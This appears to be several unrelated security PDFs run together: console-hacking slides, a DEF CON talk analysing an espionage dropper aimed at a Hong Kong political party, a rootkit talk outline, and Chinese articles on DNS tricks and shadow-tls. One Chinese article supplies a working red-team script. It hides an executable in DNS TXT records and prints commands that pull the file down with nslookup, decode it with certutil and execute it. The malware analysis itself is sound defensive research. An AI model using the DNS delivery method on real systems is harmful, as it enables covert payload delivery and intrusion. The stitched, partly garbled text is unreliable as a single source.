Where to download WiFi Sniffer (Max Console): http://tinyurl.com/yoggvz
Homebrews of Note
Homebrews of Note
[PSP] MapThis!
Zn.
((( MapThis! Video
Video )))
Where to download MapThis! (DCEMU): http://deniska.dcemu.co.uk
(((
((( MapThis!
MapThis! Video
Video )))
)))
YouTube version: http://www.youtube.com/watch?v=jcMtlEFCZSo&
To download this video go to http://haksys.schleppingsquid.net/Files/index.php?path=DefCon15+Material/
Homebrews of Note
Homebrews of Note
[PSP] PSPInside
/-/itmen Console's PSPInside – the tool for determining what your PSP is
thinking... Can you say buffer overflow??
Where to download PSPInside (Hitmen Console): http://www.hitmen-console.org/
Lumines Downgrader
Lumines Downgrader
Less than a week after discovery, game sellers on Amazon and eBay began
gouging PSP gamers with prices far over what they were selling at prior to the
announcement. On eBay people were actively bidding for $60-$45 copies.
The median prices the week before were $12 - $15...
Prices confirmed 04 July 2007 on Amazon.com and eBay.com
Homebrews of Note
Homebrews of Note
[DS] DSFTP
Björn Gieslers Webseiten's FTP server application.
Where to download DSFTP (Giesler.biz): http://tinyurl.com/272pnf
Homebrews of Note
Homebrews of Note
[DS] Wifi Lib Test
Stephen Stair's bare-bones AP finder and packet capture application.
For more info: http://www.akkit.org/
Homebrews of Note
Homebrews of Note
[DS] AirCrackDS
Retrohead's simple WEP cracking application.
Where to download AirCrackDS (1Emulation): http://tinyurl.com/25347l
Homebrews of Note
Homebrews of Note
[DS] AirePlayDS
JSR's packet injection code. At the Alpha stage at the moment.
Where to download AirePlayDS (1Emulation): http://tinyurl.com/yuj3ot
Homebrews of Note
Homebrews of Note
[DS] DSOrganize
DragonMinded's general purpose organizer, IRC client and web viewer.
Where to download DSOrganize (DragonMinded): http://tinyurl.com/mv58h
Homebrews of Note
Homebrews of Note
[DS] PointyRemote
Pointless' custom protocol driven remote PC controller.
Where to download PointyRemote (1Emulation): http://tinyurl.com/eanps
Homebrews of Note
Homebrews of Note
[DS] Win2DS
A small VNC-type program by Bill Blaiklock (Sintax).
Where to download Win2DS (1Emulation): http://tinyurl.com/2f6s5z
Homebrews of Note
Homebrews of Note
[DS] Lilou FTP Server
Lilou's FTP server / client application.
Where to download Lilou FTP Client/Server (Lilou's Blog):http://blog.dev-scene.com/lilou/
Homebrews of Note
Homebrews of Note
[DS] MoonShell
General interface replacement by Infantile Paralysiser.
Where to download MoonShell (Infantile Paralysiser):http://tinyurl.com/ge6bs
Concealment
... you put that console WHERE??
(No Goatses were hurt in this section)
Concealment
Concealment
Who in this picture does *NOT* have a pocket video game on them?
Hint: Probably not the young geisha.
Concealment
Concealment
Do you know if game systems are allowed in your work spaces?
What about the customers? Is there a policy covering you??
Concealment
Concealment
Altoids tins ain't just for holding those curiously strong gum
pieces anymore...
Concealment
Concealment
Are they playing a game, or not?
Other Tidbits
... last minute goodies ...
Fuzzy Finds
Fuzzy Finds
The following ports were detected, on a v1.50 PSP:
- 25 [SMTP] - Simple Mail Transfer Protocol is a protocol for sending
electronic mail messages between computers. (TCP) Open
- 110 [POP3] - Post Office Protocol 3. Mail server protocol commonly used
on the internet. (TCP) Open
- 123 [NTP] – Network Time Protocol (UDP). Listening
Research on www.netbsd.org shows that the network architecture on the PSP is
based on NetBSD, giving it a robust communications capability.
IDS Goodies: PSP MAC addresses begin with 00:01:4A, and they will generally look
for fj00.psp.update.playstation.org (130.94.58.55) if an update is requested.
Fuzzing by Nessus 3.0.6 Build W319 and NeWT 2.1
Fuzzy Finds
Fuzzy Finds
The following ports were detected, on an Xbox360:
- 25 [SMTP] – An unknown service is running on this port.. (TCP) Open
- 110 [POP3] – An unknown service is running on this port. (TCP) Open
- 1030 [IAD1] – A communications service, acting as webserver is on this
port. (TCP) Open
“It was possible to crash the remote host by sending a specially malformed TCP/IP
packet with invalid TCP options. Only the version 2.6 of the Linux Kernel is known
to be affected by this problem” (hmmm)...
IDS Goodies: X360 MAC addresses begin with 00:12:5A.
Fuzzing by Nessus 3.0.6 Build W319 and NeWT 2.1
Fuzzy Finds
Fuzzy Finds
The following ports were detected, on a Playstation3:
- 25 [SMTP] - Simple Mail Transfer Protocol is a protocol for sending
electronic mail messages between computers. (TCP) Open
- 110 [POP3] - Post Office Protocol 3. Mail server protocol commonly used
on the internet. (TCP) Open
“The remote host accepts loose source routed IP packets.”
“The remote host is vulnerable to an 'Etherleak' - the remote ethernet driver seems
to leak bits of the content of the memory of the remote operating system”
IDS Goodies: PS3 MAC addresses begin with 00:15:C1, and they will generally look
for fj00.ps3.update.playstation.org (129.250.162.55) if an update is requested.
Fuzzing by Nessus 3.0.6 Build W319 and NeWT 2.1
Fuzzy Finds
Fuzzy Finds
The following ports were detected, on the Wii and DS Lite:
Nothing... Seems that both units shut down all wireless when not
expecting to use it. Still checking for 802.11x radiation signature
fluctuation. Could be part of their power-saving functionality...
Fuzzing by Nessus 3.0.6 Build W319 and NeWT 2.1
Really Alternative
Really Alternative
I believe that I am the first person to actually use my PSP (or any wireless device) to
assist in a pub crawl... Found the Sidebar in San Diego.
Chaos Computer Congress - 22nd & 23rd
- Nintendo DS: Mario Manno, Tobias Gruetzmacher, Marcel Klein
- Console Hacking 2006: Felix Domke
- “Xbox” and “Xbox 360” Hacking: Michael Steil and Felix Domke
PSPUpdates.net
MaxConsole
DCEmu.co.uk
NeoFlash.com
PS2Dev
dev-scene.com/NDS
Sony's Playstation Forums
Sources
Sources
XboxHacker Forums
Xbox-Scene
Anathema (PS3 browser exploit)
PSP Vault
IBM / Sony CBE Engineers & their
programming support sites
Individual developer websites
THANKS for all the hard work guys!!! | pdf |
6/25/11
Balancing the Pwn Trade Deficit Series:
APT Secrets in Asia
{Anthony Lai,Benson Wu,Jeremy Chiu} Xecure Founder and
Researcher
PK, Security Researcher
6/25/11
There is no national secret here
We welcome spies and SS here.
Spies/SS are human, too :)
6/25/11
Why we are here again
Last
year,
Val
Smith,
Colin
Ames
and
I
(Anthony)
have
worked
together
on
analyzing
China-‐made
malware,
making
first
east-‐meets-‐west
research
and
studies.
We
conCnue
this
effort.
This
year,
we
have
dealt
with
many
targeted
aFack
cases,
we
would
like
to
share
the
case
studies
with
you
and
the
correlaCon
analysis
with
my
Taiwanese
research
fellows.
We
are
happy
about
this
presentaCon
is
accepted
in
first-‐
round
selecCon
of
DEFCON
19,
however,
it
is
rejected
in
Blackhat
with
reviewer
comment:
“
We
are
curious
about
your
automated
analysis.”
-‐
Thank
you
for
their
comment
;-‐)
6/25/11
Who we are?
Anthony
Lai
(a.k.a
Darkfloyd)
He
works
on
code
audit,
penetraCon
test,
crime
invesCgaCon
and
threat
analysis
and
acted
as
security
consultant
in
various
MNCs.
His
interest
falls
on
studying
exploit,
reverse
engineering,
analyse
threat
and
join
CTFs,
it
would
be
nice
to
keep
going
and
boost
this
China-‐made
security
wind
in
malware
analysis
and
advanced
persistent
threat
areas.
He
found
security
research
group
called
VXRL
in
Hong
Kong
and
has
been
working
as
visiCng
lecturer
in
HK
Polytechnic
University
on
hacking
course
:)
Spoken
at
Blackhat
USA
2010,
DEFCON
18
and
Hack
In
Taiwan
2010/2011
6/25/11
Benson Wu
He currently works as Postdoctoral Researcher from
Research Center for Information Technology
Innovation at Academia Sinica in Taiwan.
He focuses research on malware and threat
analysis, code review, secure coding and SDLC
process implementation. He graduated from
National Taiwan University with PhD degree in
Electrical Engineering. He had spoken at NIST
SATE 2009, DEFCON 18 (with Birdman), OWASP
China 2010, and wrote the "Web Application
Security Guideline" for the Taiwan government.
6/25/11
Jeremy Chiu (a.k.a Birdman)
He has more than ten years of experience with host-
based security, focusing on kernel technologies for
both the Win32 and Linux platforms. In early 2001
he was created Taiwan's first widespread trojan
BirdSPY. The court dropped charges after Jeremy
committed to allocate part of his future time to assist
Taiwan law enforcement in digital forensics and
incidence response.
Jeremy specializes in rootkit/backdoor design.
Jeremy also specializes in reverse engineering and
malware analysis, and has been contracted by law
enforcements to assist in forensics operations.
Jeremy is a sought-after speaker for topics related
to security, kernel programming, and object-oriented
design
6/25/11
PK
Peikan (aka PK) has intensive computer forensic,
malware and exploit analysis and reverse
engineering experience. He has been the speaker in
Syscan and HIT (Hack In Taiwan) and convey
various training and workshop for practitioners.
6/25/11
Agenda
APT
Vs
Malware
Case
Studies
Research
Methodology
Clustering
Analysis
and
Results
6/25/2011
Abstract
• APT (Advanced Persistent Threat) means
any targeted attacks against any specific
company/organization from an or/and a
group of organized attack party(ies).
• Other than providing the case studies, we
would like to present and analyze APT
from the malicious email document,
throughout our automated analysis, we
could identify and cluster the correlation
among the samples featured with various
exploit, malware and Botnet .
6/25/2011
Major APT Activity: Targeted-Attack Email
• We have observed there are three major types
of Targeted-Attack Email:
1. Phishing mail: Steal user ID and password
2. Malicious script: Detect end-use computing
environment
3. Install and deploy Malware (Botnet) !
APT Mail = Document Exploit + Malware
6/25/2011
APT Attack Vs Traditional Botnet Activities
APT Botnet Activities
Traditional Botnet Activities
With organized planning
Mass distribution over regions
Cause damage?
No
No
Targeted or not?
Targeted (only a few groups/organizations)
Not targeted (large area spreadout)
Target Audience
Particular organization/company
Individual credentials including online
banking account information
Attack Effective
Duration
Long duration
Relative Short
Frequency of attacks
Many times
Once or twice
Weapon
•
0-day Exploit
•
Drop Embedded Malware
•
Use existent multiple exploits
•
URL Download Malware
AV Detection Rate Detection rate is lower than 10% if the
sample comes out within one month
Detection rate is around 95% if the
sample comes out within one month
Remarks: IPS, IDS and Firewall cannot help and detect in this area
Distribution
6/25/11
Part 1:
Case Studies:
Against a Political Party in Hong Kong
6/25/11
Case 1: Calling from Mr. X
• Mr. X is a one of the key persons of political
party in Hong Kong.
• He dropped us an email as he feels suspicious
on an attachment called meeting.zip and it
contains two files, agenda.doc and minutes.doc
• It looks like a member meeting agenda.
• The email targets all committee members in his
organization.
• Mr. X said he always got this kind of mails
before 4 June, 1 July and election.
6/25/11
Analysis
• Running analysis in our Xecure analyzer engine
• Basically, it is not a fake.doc but a PE file and
minutes.doc is a document shortcut .lnk file
which triggers to execute agenda.doc
Xecure Analyzer Engine
6/25/11
Analysis - CnC location
• Connect to remote IP address in Hong Kong at
8080 port.
• It is still alive
6/25/11
Analysis – CaptureBAT
Recorded in chronological order
C:\Documents and Settings\Administrator\Local Settings\Application
Data\ws2help.PNF was added by “Agenda.doc”
C:\Documents and Settings\Administrator\Local Settings\Application
Data\msvcr.dll was added by “Agenda.doc”
C:\WINDOWS\system32\netstat.exe was [written/accessed] by
“Agenda.doc”
C:\WINDOWS\inf\1.txt was deleted by “Agenda.doc”
C:\WINDOWS\system32\netstat.exe was modified by “Agenda.doc”
6/25/11
C:\Documents and Settings\Administrator\Local Settings\Application
Data\IECheck.exe was added by “Agenda.doc”
C:\WINDOWS\system32\ipsecstap.dat was added by “explorer.exe”
C:\Documents and Settings\Administrator\Start Menu\Programs
\Startup\Internet Explorer Security Check.lnk was added by
“explorer.exe”
6/25/11
Analysis - Regshot
Files added
C:\Documents and Settings\Administrator\Local Settings
\Application Data\IECheck.exe
C:\Documents and Settings\Administrator\Local Settings
\Application Data\msvcr.dll
C:\Documents and Settings\Administrator\Local Settings
\Application Data\ws2help.PNF
C:\Documents and Settings\Administrator\My Documents
\My Pictures\[email protected]
C:\Documents and Settings\Administrator\Start Menu
\Programs\Startup\Internet Explorer Security Check.lnk
C:\WINDOWS\system32\2525
C:\WINDOWS\system32\ipsecstap.dat
Files deleted
C:\Documents and Settings\Administrator\Desktop
\Democracy Depot meeting\Sample\Agenda.doc
Analysis - Target popular IM and emails
Analysis - Injection to explorer.exe
6/25/11
Infection Path
• Agenda.doc (Dropper)
o Create IECheck.exe
o Copy WS2Help.PNF to application data folder.
o Change netstat.exe
o Inject code to msvcr.dll and then to explorer.exe
o Creat mutux (VistaDLL Running)
o Detect anti-virus program including Kapersky
o Target QQ, MSN, sina, foxmail and hotmail
Analysis - Encoding Scheme
• XOR encoding only
• Encode and decode the traffic
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – Encoding Scheme
6/25/11
Analysis – What information has been
sent to CnC server?
• After decoding the network traffic
o The host name
o Installed OS type and patch level
• There should be more information sent to CnC server :)
6/25/11
Analysis – Found the .cab file
• We have found .bmp file in a compressed .cab
file under application folder
• Screenshots are found. What the fxxk that our
Wireshark screenshot is captured and sent back
to CnC server :)
6/25/11
Digging into Tiger's Mouth
• We have tried to install QQ, MSN and see
what's going on:
o Binaries are downloaded to the victim in C:
\Windows\Debug folder
o Malware creates more files in C:\Windows
\Debug\Data folder
o Those files are removed shortly.
o Collected information are saved as file with .dll
as extension and send it back to CnC server
6/25/11
What's going on?
• We
have
found
that
CnC
server
sent
an
instrucCon
to
the
vicCm
machine
to
compress
files
and
send
them
back
to
the
CnC
server.
• There
is
a
traffic
sequence
number
set
by
the
CnC
server.
Once
the
sequence
number
is
used
or
wrong,
the
machine
will
not
be
infected
again
or
CnC
server
will
not
send
further
instrucCon..
• The
files
iestorage.dll,
SAM.dll
and
system.dll
are
actually
cab
compressed.
Just
rename
the
extension
as
"cab"
and
decompress
them
to
get
the
following
informaCon.
o The
SAM
and
system
kept
the
vicCm
machines
account
informaCon
and
registry
informaCon.
• The
iestorage
contains
a
file
called
"自动表单.txt987654321"
which
keeps
the
hacked
email
accounts
and
passwords.
• Another
file,
called
drive,
it
keeps
all
filenames
and
Cme
informaCon
on
the
hard
disk
o The
APT
task
force
really
wants
to
know
what
informaCon
that
the
target
kept
in
the
vicCm
machine.
6/25/11
• Carrying out the dynamic analysis
o The
injected
explorer.exe
downloads
fvcwin32.exe,
acvcwin32.exe
and
avcwin32.exe
and
kick
started
these
programs.
o fvcwin32.exe
is
responsible
to
collect
all
hard
disk
file
informaCon
and
create
the
file
"drive"
under
C:\windows
\debug
o avcwin32.exe
is
responsible
to
collect
email
accounts
and
passwords,
SAM,
system
info,
keeping
them
under
a
%AppData
%\temp.
They
are
removed
immediately
amer
amer
compressed
and
saved
under
C:\windows\debug\data\.
In
addiCon,
it
keeps
capturing
screen
for
every
1000
ms
and
saves
the
image
under
C:\windows\debug\data
folder
o acvwin32.exe
is
to
capture
screenshots
for
every
1000ms
o The
injected
"msrvc.dll"
keep
on
monitoring
the
c:\windows
\debug\data
folder
and
send
out
any
new
files
under
the
folder
to
CnC
server,
immediately
deleCng
sent
files.
6/25/11
Case Summary (1)
• Target political party in Hong Kong
• CnC server is in Hong Kong.
• The origin is from our mother country, China.
• This “China-made” APT is NAPT (Non-
Advanced Persistent Threat) as we found
some old routines for Win95/98. The
“programmer” adds new features to it indeed
and even use the same dropper in a separated
collected .xls sample.
6/25/11
Case Summary (2)
• The agenda.doc is just packed with UPX.
• Dumping user credentials
• Using XOR instead of complicated encryption
routine to encode/decode traffic to prevent from
IPS/IDS detection.
• Download payload in different stages and each
payload/executable is responsible for a single
action.
• Use/Dependent on built-in Windows libraries
• With proper sequence number set up by CnC
server to manage the victim,
Case Summary (3)
• Same
Generator
-‐
The
disassembled
structure
in
agenda.doc
matches
the
one
in
different
APT
sample
(.exe)
zipped
inside
a
.chm
file
Case Summary (4)
• This detailed case analysis is supplementary to
reports published from:
• Tracking Ghostnet
http://www.infowar-monitor.net/2009/09/tracking-
ghostnet-investigating-a-cyber-espionage-network/
• Madiant
http://www.princeton.edu/~yctwo/files/readings/M-
Trends.pdf
• Feel free to reach me for the sample if you
like.
• Meanwhile, do we still need to bother to do
same analysis for various samples if they may
come from the APT generator/taskforce? It
drives our research indeed.
Case 2:
Calling from Mr. X Again
• Mr.
X
get
many
mails
with
suspicious
aFachment
on
or
before
4
June,
1
July
and
LEGCO
elecCon
and
conCnue
to
make
enquiry
from
me.
• The
sender
seems
to
be
a
staff
in
LEGCO
council
• AnC-‐virus
engine
engaged
by
Gmail
has
not
detected
any
issues.
• Filename
wriFen
in
Chinese
is
about
“Official
Reporters’
List
for
LEGCO
Council
News”
Hong Kong APT: Open it, man!
公義 Justice
http://en.wikipedia.org/wiki/Guan_Yu
“All that is necessary for the triumph
of evil is that good men do nothing” –
Edmund Burkle
Let me take shout: “Grass Root Horse”!
等我向他說聲”草泥馬”!
Automated Clustering:
It is from Group-C
Malware of APT Group C
Malware Attack Graph
Malware Fix Suggestion
C&C Location of APT Group C
6/25/11
A Chinese Poem from Cao Zhi (曹植-七步成詩)
• 煮豆燃豆萁
• Cooking beans on a fire kindled with bean
stalks,
• 豆在釜中泣。
• The beans weep in the pot.
• 本是同根生
• Originally born from the selfsame roots,
• 相煎何太急!
• Why so eager to torture each other!
Special Thanks
• Special thanks to Ran2 and DDL to analyze
those APT samples with me.
• Especially Ran2 has worked on the analysis
with me and got a lot juicy stuff from time to
time
6/25/11
Part 2:
Research Methodology
Research Direction (1/2)
• We
are
not
just
focusing
on
a
single
one-‐off
aFack,
we
tend
to
observe
the
enIre
APT
aFack
plan
and
trend
– TradiConally,
we
just
focus
on
malware
forensics
or
analyze
a
single
vicCm’s
machine.
We
cannot
understand
the
APT
aFack
plan
and
its
trend
indeed.
Research Direction (2/2)
• Analyze
and
extract
features
and
characterisIcs
of
APT
taskforce
via:
– Malware
features
– Exploit
– C&C
Network
– Speared
Email
– VicCm’s
background
– Time
of
aFack
APT File Analysis and Grouping
TheoreCcally,
in
an
informaCon
system
(i.e.
malware
analysis
system),
if
we
could
collect
all
the
aFributes/properCes
of
our
malicious
sample
sets,
we
could
idenCfy
whether
the
executable/
document/sample
is
malicious.
However,
the
research
issues
are
insufficient
collecCon
in
aFributes/
characterisCcs
(for
example,
the
malware
has
been
packed
and
engage
various
anC-‐debugging
capabiliCes),
so
that
we
get
the
indiscernibility
relaCon
Standard Analysis Method
StaCc
Approach
Extract
signature/features
from
file
format
Reversing
Dynamic
Approach
Execute
it
under
controlled
environment
and
capture/log
all
the
behaviors
Analyze
networking
traffic
• Challenge
of
Dynamic
Analysis
EncrypIon,
ObfuscaIon
AnI-‐VM/
Sandbox
Dormant
FuncIonality
Side-‐Effect
of
Master/Bot
interacIon
We prefer using static analysis to prevent from Anti-VM, dormant
functionality and side effect of master/bot interaction.
What APT Attributes we focused?
•
We
work
on
the
analysis
on
mulC-‐vector
basis.
•
Throughout
staCc
analysis:
–
Extract
and
review
executable,
Shellcode
and
PE
header
–
Objects
and
abnormal
structure
in
file
•
Throughout
dynamic
analysis:
–
Install
the
system
into
Windows
•
Scan
Process
Memory
to
detect
abnormal
structure
•
Code-‐InjecCon,
API
Hooking
…
–
Detect
any
known
Code
Snippet
•
Rootkit,
KeyLogger,
Password
Collector,
AnC-‐AV…
–
Suspicious
strings:
email
address,
domain,
IP,
URL
Extract Attributes from APT File
CVE
CVE-2009-3129
Shellcode
Code=90903CFDEF
CAPO=E2FE9071
PUCA=002191CB
Entropy
6.821483
Network
140.128.115.***
smtp.126.com
test.3322.org.cn
Structure
JS=A103FE426E214CE
JS=90C0C0C0C
AS=32EF90183227
Malware 1
PE=EF024788
Entry=000B7324
Code=D7B5A0120987FE
Code=83D2325AB5
Code=20BDCE
Autorun=STARTUP_FOLDER
Behavior=DLL-Injection,
Password Collector
Malware 2
PE=EF93461A
Entry=0003CAC0
Code=AC23109B
Code=19EFAC21
Behavior=API-Hooking
DiscreIzaIon
Static
Analysis
Dynamic
Analysis
Clustering !
Clustering
Exploit Concept
Shellcode
Malware Concept
Code Snippet
Xecure Engine
Behavior
Exploit CVE
PE Information
Network Concept
C&C IP/Domain
Protocol
SC.5D5819EE
SC.D810C601
PE.EBD5880B
PE.5A05A491
CD.FC7939E2
CD.102C752B
CD.2AFB773A
ML.47E1B4C6
NT.549535DD
CC.656C20E1
CC.77DEB444
……
Save to DB
Extract Fingerprints
6/25/11
Part 3:
Analysis and Result
Experiment
Mila's
provided
APT
sample
archives
are
confirmed
to
malicious
Those
archives
are
open
to
public
for
downloading
and
analysis
(CollecCon1,
242
APT
files)
The
sample
archives
are
used
by
many
researchers
We
highly
credit
to
Mila’s
samples
hFp://contagiodump.blogspot.com/
Detection Rate
Xecure
Inspector
94.6
%
(229
/
242
)
DefiniCon
updated
to
2011/6/11
MicrosoX
Security
EssenIals
21.4
%
(52
/
242)
Sophos
35.9
%
(87/242)
AnIVir
56.6
%
(137/242)
There are 8 major APT-Taskforce Groups
Group A
Group B
Group C
Group D
Group E
Group F
Group G
Group H
Groups of Mila Sample Set Collection1
2011
2010
2009
2008
other
Top 3 APT Taskforce Groups
Active
2009-0923 ~ 2011-0420
Number
40
CVE
CVE-2009-4841, CVE-2009-0927, CVE-2009-3129,
CVE-2009-4324, CVE-2010-0188, CVE-2010-2833,
CVE-2011-0611, CVE-2011-0609
Malware
APT00010
C&C
IP:23, Domain: 5
Active
2008-0414 ~ 2011-0211
Number
26
CVE
CVE-2006-6456, CVE-2008-0081, CVE-2009-1129,
CVE-2009-4324, CVE-2010-0188, CVE-2010-2883,
CVE-2010-3333
Malware
APT000A0
C&C
IP:23, Domain:4
Active
2008-0904 ~ 2011-0413
Number
21
CVE
CVE-2007-5659, CVE-2008-4841, CVE-2009-1862,
CVE-2009-3129, CVE-2009-4324, CVE-2009-0658,
CVE-2009-0927,
Malware
APT00200
C&C
IP:5, Domain:11
Malware of APT Group A
Malware Attack Graph
Malware Fix Suggestion
C&C Location of APT Group A
48.1%
C&C
IP
located
in
Taiwan
Malware of APT Group B
Malware Attack Graph
Malware Fix Suggestion
C&C Location of APT Group B
16%
C&C
IP
located
in
Taiwan
Malware of Group E
Group-‐E
Language
=
Korean
All (A,B,C)
Findings from Mila Sample Set (1/2)
Findings from Mila Sample Set (2/2)
APT-‐Deezer
provides
a
free
online
service
to
check
whether
your
submiFed
sample
whether
it
is
an
APT
sample
We
tak
Mila
sample
set
as
the
base
training
set
IdenCfy
Exploit
CVE
and
Malware
family
Zero-‐Day
Exploit
detecCon
and
analysis
APT
Malware
sample
DNA
analysis
and
comparison
APT
sample
clustering
and
grouping
Support
file
formats
including
DOC,PPT,XLS,PDF,RTF
URL:
hFp://aptdeezer.xecure-‐lab.com
Case Study (1/3)
Target Attack Mail has been signed !?
又看到COMODO !
(2/3) Identify the APT Taskforce Group
(3/3) Identify the APT Taskforce Group
• But
Malware
is
a
known
family,
it
is
same
as
APT-‐Group-‐B
!
Thank you for your listening
• Xecure Lab (http://www.xecure-lab.com)
• We keep collecting samples for analysis.
• Enhance the capability to analyze and observe APT
DNA family in more accurate manner.
• It is an incremental efforts made to the Malware
Analysis community.
• Together, we make homeland secured.
Special Thanks
• Every members in Xecure Research Team and Mila
as well as everyone has contributed ideas to us.
• Our family and fellows
Finally
Blackhat review board members,
are you convinced yet? | pdf |
Boutique Kit
Playing WarGames with expensive rootkits and malware
Josh “m0nk” Thomas
Opening Question
Hands up if you run Android
Keep ‘em up if you run a custom ROM / Kernel
Down if you actually compiled it
Back up if you didn’t look at the source
Back up if you didn’t do a FULL source audit
Don’t lie, Santa Claus and the NSA already know the answer
•
Josh “m0nk” Thomas
•
@m0nk_dot
•
Paid by the epic people @ Accuvant Labs
•
Used to get paid by other folk in a prior life
•
Q: Why listen to me?
•
A: TBH, Not a damn clue
•
Current slides can always be found here:
•
https://github.com/monk-dot/David-Byrne.git
./whoami
echo $AGENDA
Boring Kit – The public space of rootkits and malware
No Name Given: Non Public Players and the new rules
War Game 1: Hide deep, hide long
War Game 2: Run off the processing grid
War Game 3: Is it cold in here?
Revisiting Tic-tac-toe: The fun we can have
BORING KIT
The public space of rootkits and malware
I’m sure its fascinating but…
Uber 1337 h4x0r <3 teh Malwarez
NO NAME GIVEN
Non Public Players and the new rules
Nameless people doing interesting
things
Out come the Androids
Cost of the game
Rules of the game
WAR GAME 1
Hide deep, hide long
NandX
• OMG - Text
Content goes here
Stop – Demo Time!
WAR GAME 2
Run off the processing grid
Clock Locking Beats
WAR GAME 3
Is it cold in here?
Project Burner
REVISITING TIC-TAC-TOE
The fun we can have
• And here!
Stuff Goes here
Questions?
https://github.com/monk-dot/David-Byrne.git
Josh Thomas
@m0nk_dot
[email protected]
Whatever…
fin
1125 17th Street, Suite 1700, Denver, CO 80202
800.574.0896
[email protected]
www.accuvant.com | pdf |
1 解决txt记录写文件的大小限制问题
1.0.1 前言
公众号NOP Team曾经发布一个名为“远程下载的通用替代方案|红队攻防”,文章链接为
https://mp.weixin.qq.com/s/Z1zp7klk--uQ1OnzljNESw,这篇文章有个痛点就是不能写入
太大的文件,本次tip目的为解决这个痛点。
1.0.2 解决思路
由于留给TXT记录的长度最长差不多为65515左右的原因,导致通过单词txt记录写入大文件成
为不可能。
解决办法就是制造多个txt记录写入文件再进行转换。如此一来大文件就可以写入了。
具体细节在下面脚本,这里就不过多描述,因为本来就很水
1.0.3 武器化
dnsWriteFile.py
import os
import sys
def FileWriteExe():
os.system("certutil -encode " + sys.argv[1] + " base64.txt")
with open("base64.txt", "r+") as f1:
file = f1.read()
txt_domain_name = ["www0.mydomain.com"]
num, www_num = 0, 0
with open("mydomain.com.zone", "w") as f:
f.write("""$TTL 1D
@ IN SOA @ rname.invalid. (
1
2
3
4
5
6
7
8
9
10
11
12
13
14
html
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
www IN A 1.1.1.1
www0 IN TXT (""")
str.count(file, "\n")
for i in file.split('\n'):
num += 1
if num % 900 == 0 and num != 0:
www_num += 1
f.write(")\nwww" + str(www_num) + " IN TXT (")
txt_domain_name.append("www" + str(www_num) + ".mydomain.co
m")
f.write("\"exec" + i + "\"\n")
f.write(")")
print("文件长度 " + str(len(file)))
print("文件名字 mydomain.com.zone")
print("文件应存放目录 /var/named/mydomain.com.zone")
print("请求txt记录域名列表 ", txt_domain_name)
print(
"""请执行以下命令:\n1. for /l %k in (0,1,""" + str(
www_num) + """) do (cmd /v:on /Q /c "set a= && set b= && for /f
"tokens=*" %i in ('nslookup -qt^=TXT www%k.mydomain.com your_ip ^| findstr
"exec"') do (set a=%i && echo !a:~5,-2!)" >>C:\\helo.txt)\n2. certutil -dec
ode C:\helo.txt C:\\aa.exe && cmd /c C:\\aa.exe""")
print("提示:如果文件较大执行完第一条命令需要等待片刻!")
os.system("del base64.txt")
if __name__ == '__main__':
print("usage : python3 dnsWriteFile exeFile\nExample: python3 .\dnsW
riteFile.py artifact.exe\n")
try:
FileWriteExe()
except:
os.system("del base64.txt")
print("执行失败")
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
执行该脚本后会生成一个“mydomain.com.zone”文件,按照nop team博主所安装教程,
将他放入 /var/named/ 目录下,然后重启域名服务。
根据自己的需要修改“your_ip”以及写入路径。
这里是空的 (´・-・)ノ㊫
这里是空的 (´・-・)ノ㊫ | pdf |
1
shadow tls
最近看到v2ex上有⼈分享了⼀个有意思的技术
https://v2ex.com/t/875975
前⾔
2
简单来说,这个技术可以在tls握⼿阶段实现完全合法有效的与指定域名⽹站的握⼿,⽽后续的传输数据
阶段则是传输⾃身的恶意payload。
这样我可以让tls握⼿阶段,SNI以及证书同步伪装,使得流量更加可信。
对应的demo项⽬ https://github.com/ihciah/shadow-tls
分析之前,先搞清楚tls的协议结构。
1. tls分为两层,记录层和握⼿层,记录层只有⼀种记录协议;握⼿层有4种协议,Handshake、Alert、
ChangeCipherSpec、ApplicationData。
2. 协议流程,握⼿阶段和数据传输阶段;握⼿阶段,常⽤到的握⼿层协议有Handshake、Alert、
ChangeCipherSpec,⽽数据传输阶段就是ApplicationData。
先说下分层,如下图所示。
tls协议
3
记录层的协议只有记录协议,⻓度5字节。
记录层
4
记录协议负责在传输连接上交换的所有底层消息,并且可以配置加密。每⼀条 TLS 记录以⼀个短标头开
始。标头包含记录内容的类型 (或⼦协议)、协议版本和⻓度。原始消息经过分段 (或者合并)、压缩、添加
认证码、加密转为 TLS 记录的数据部分。
Content Type(1 bytes):⽤于标识握⼿层协议类型
Version(2 bytes):tls版本信息
Length(2 bytes):握⼿层数据包⻓度
PS: 简单来说,记录协议主要功能是对握⼿层进⾏数据压缩、加密、完整性保护等等。
Content Type有4个值,参考go官⽅库说明如下,可以看到这些类型在上⾯数据包中也有记录
Version
●
●
●
type recordType uint8
const (
recordTypeChangeCipherSpec recordType = 20
recordTypeAlert recordType = 21
recordTypeHandshake recordType = 22
recordTypeApplicationData recordType = 23
)
1
2
3
4
5
6
7
8
Go
复制代码
const (
VersionTLS10 = 0x0301
VersionTLS11 = 0x0302
VersionTLS12 = 0x0303
VersionTLS13 = 0x0304
// Deprecated: SSLv3 is cryptographically broken, and is no longer
// supported by this package. See golang.org/issue/32716.
VersionSSL30 = 0x0300
)
1
2
3
4
5
6
7
8
9
10
Go
复制代码
5
Handshake
Alert
ApplicationData
握⼿层
6
ChangeCipherSpec
如果了解过tls协议,会知道tls分为握⼿阶段以及数据传输阶段。
交互流程如下,握⼿阶段主要进⾏共享密钥⽣成以及身份认证,数据传输阶段就使⽤⽣成的共享密钥进
⾏加密传输。
数据包交互
7
数据包
8
代码实现层⾯
在通过tls封装后,write实际操作如下,会进⾏Handshake
9
判断握⼿是否完成
10
未完成握⼿会调⽤握⼿函数,但这⾥可以看到只是⼀个函数签名,因为对于server和client的握⼿处理是
不⼀样的,需要传⼊不同的函数实现。
11
⽐如, clientHandshake ,会⽣成clientHello发送,并读取serverHello等⼀系列操作。
12
根据上⾯的简单分析,握⼿阶段,服务端会返回⼀个Certificate包,包含了该服务端的tls证书,其中还
包含了证书链,这也是我们浏览器上能查看服务端证书的原因,并且可以根据证书链来校验证书合法
性。
分析
13
